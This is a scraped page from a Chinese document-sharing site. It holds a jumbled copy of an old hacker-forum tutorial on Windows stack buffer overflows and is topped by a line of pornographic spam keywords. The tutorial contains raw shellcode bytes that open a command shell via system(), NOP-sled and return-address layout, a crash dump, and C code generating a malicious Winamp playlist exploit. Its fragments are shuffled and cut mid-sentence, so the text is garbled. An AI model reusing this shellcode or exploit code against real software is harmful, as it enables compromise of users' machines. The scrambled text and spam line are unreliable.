freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(留存版)

2024-11-03 16:44上一頁面

下一頁面
  

【正文】 0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31 \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32 到這里,又出現(xiàn)了那個(gè)熟悉的對(duì)話框“改程序執(zhí)行了非法操作。 char dllbuf[11] = 。 DLL本身也有一個(gè)基本地址,該 DLL每一次被加載都是從這個(gè)基本地址加載。 18: 19: (ProcAdd) (cmdbuf)。 mov byte ptr [ebp09h],6Dh 。這是肯定的,因?yàn)槲覀兊某绦蛞呀?jīng)把堆棧指針搞亂了。 大家知道 windows 系統(tǒng)的用戶進(jìn)程空間是 02G,操作系統(tǒng)所占的為 24G。因此,我們可以令返回地址 A等于一個(gè)系統(tǒng)核心 dll中的指令的地址,這個(gè)指令的 作用就是 call/jmp 我們的 shellcode。 大家都有 winamp 吧,他的 有緩沖區(qū)漏洞,下面我們來實(shí)現(xiàn)一個(gè) exploit。 break。 fprintf(file, \nNumberOfEntries=1)。 我們的 shellcode 要開一個(gè) dos 窗口。 FILE *file。 Registers: EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=444f EDX=005b02dc ES=0187 EDI=00000001 GS=4446 Bytes at CS:EIP: 00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b Stack dump: 0a006da1 8000009d 0000442a 90000000 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 看看出錯(cuò)信息, EIP 是 4200c3,看來已經(jīng)開始執(zhí)行我們的 shellcode了,怎么會(huì)有無效頁錯(cuò)誤呢?看來我們的 shellcode有問題。 fprintf(file, File1=)。因?yàn)?windows 的 patch 天天有,他的一些 dll就更新很快。 后來, NT的中普通用戶獲取 admin,我想到過仿照 UNIX,搞緩沖區(qū)溢出攻擊。如果大家能夠提出改進(jìn)的算法,或者 發(fā)現(xiàn)新的 exploit,就真正是光大了我們黑客版的精神。對(duì)此, dark spyrit AKA Barnaby Jack 曾有這樣的建議: If the exploit failed...... Do not determine the threat to your servers solely on the results of one public exploit the vulnerability exists, fix it. If you think that was the only demonstration code floating around you need your head examined. 以前咱們水木黑客版 97 年堆棧溢出大討論的時(shí)候, rainer 就很高水平的探討過 windows 下的 buffer overflow。 另外,大家從破解的過程中,可以發(fā)現(xiàn)我一再強(qiáng)調(diào) windows 的版本。x++) { buffer[x] = 0x90。 printf(\t created file loaded with the exploit.\n)。版本: () 由于里面有 0,所以使用兩條指令來完成: mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//==mov edx,0x78005504 編譯,找出二進(jìn)制 code: shellcode: \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53 \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50 \xFF\x55\xF0 \x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E \x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4 \x50\xB8\x24\x98\x01\x78\xFF\xD0 \x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC。看看softice 里 面 的 進(jìn) 程 名 稱 欄 :Kernel32!GetDataFormatA+1554好,是,肯定是可以用的啦。 fprintf(file, File1=)。break。不過一般的說,這幾個(gè)dll就夠了。我不得不說這是一個(gè)天才的想法。我們已經(jīng)知道了在windows 系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算偏移地址,以及如何編寫一個(gè) shellcode 以得到 dos。調(diào)用 system } } 編譯,然后運(yùn)行。用來放 ?,F(xiàn)在, eax 的值為 0x78019824 就是system 的真實(shí)地址。這就是所謂的Dll39。 首先,考慮一下我們的 shellcode要作什么?顯然,根據(jù)以往的經(jīng)驗(yàn),我們想開一個(gè) dos 窗口,這樣在這個(gè)窗口下,我們就可以作很多事情。那么我們可以給程序一個(gè)很長的串,肯定可以覆蓋堆棧中的返回地址。 gets(name)。那么, name 的開始地址是多少呢? 通過上面的 stack dump 我們可以看到,當(dāng)前 ESP所指向的地址 0x0064fe00,內(nèi)容為 0x32383237,那么計(jì)算得出 , name的 開 始 地 址 為 :0x0064fe0044=0x64fdd4。 (ProcAdd) (cmdbuf)。 所以,要想執(zhí)行 system,我們必須首先使用 LoadLibrary()裝載動(dòng)態(tài)鏈接庫 ,獲得動(dòng)態(tài)鏈接庫的句柄 。保存 ebp, esp- 4 mov ebp,esp 。 mov byte ptr [ebp04h],63h 。 ret = (int *)amp。 其次, windows 在執(zhí)行 mov esp, ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的 shellcode 可能會(huì)被覆蓋?。@下完蛋了,我們的shellcode 都沒了,返回地址正確又有什么用?? 所以,我們的 shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后,堆棧的布局如下: 內(nèi)存底部 內(nèi)存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細(xì)資料。 char eip[8] = 。 case 3: buffer[x] = 39。我就不講了,其中 buffer 的內(nèi)容為測試用的字符串。 push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//exit push edx xor eax,eax push eax call dword ptr[ebp04h] 簡單說一下, 是運(yùn)行 C 語言標(biāo)準(zhǔn)庫函數(shù)所必須的一個(gè)動(dòng)態(tài)鏈接庫。 fprintf(file, [playlist]\n)。 我在第 4 講第一節(jié)就說過對(duì)這種問題的對(duì)策。 fclose(file)。但是,這也無法消除對(duì) LoadLibrary和 GetProcAddress 的地址的直接引用,因?yàn)檫@兩個(gè)是 shell
點(diǎn)擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1